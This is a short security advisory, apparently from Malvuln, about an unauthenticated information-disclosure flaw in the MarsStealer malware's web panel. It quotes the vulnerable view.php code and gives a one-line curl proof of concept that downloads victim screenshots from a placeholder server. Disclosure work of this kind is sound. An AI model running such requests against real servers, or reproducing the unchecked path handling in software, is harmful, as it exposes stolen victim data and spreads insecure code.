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Win32.MarsStealer MVID-2022-0451 Web Panel Information Disclosure

Win32.MarsStealer MVID-2022-0451 Web Panel Information Disclosure
Posted Jan 17, 2022
Authored by malvuln | Site malvuln.com

Win32.MarsStealer Web Panel malware suffers from an information leakage vulnerability.

tags | exploit, web
systems | windows
SHA-256 | 710b2cb0f04c0f62c1bece5be7e83ea27d5795e0a91450361d00e81dd84214fb

Win32.MarsStealer MVID-2022-0451 Web Panel Information Disclosure

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Win32.MarsStealer Web Panel
Vulnerability: Unauthenticated Remote Information Disclosure
Description: The malware web interface stores screen captures named "screenshot.jpg" in the panel directory, ZIP archived. Third-party attackers who can reach the Mars web server can download any screenshots as no valid session or authentication check is done.

view.php PHP code.

$z = new ZipArchive();
$file ='screenshot.jpg';
$path = $_GET["path"];
if ($z->open(realpath($path)))
{
$stat = $z->statName($file);
$fp = $z->getStream($file);

header('Content-Type: image/jpeg');
header('Content-Length: ' . $stat['size']);
fpassthru($fp);
}
else
{
echo "file not found";
}


Type: WebUI
MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe)
MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php)
Vuln ID: MVID-2022-0451
Disclosure: 01/15/2022

Exploit/PoC:
curl http://MARSSTEALER_SERVER/mars/panel/view.php?path=screenshot.zip --output screendump.jpg


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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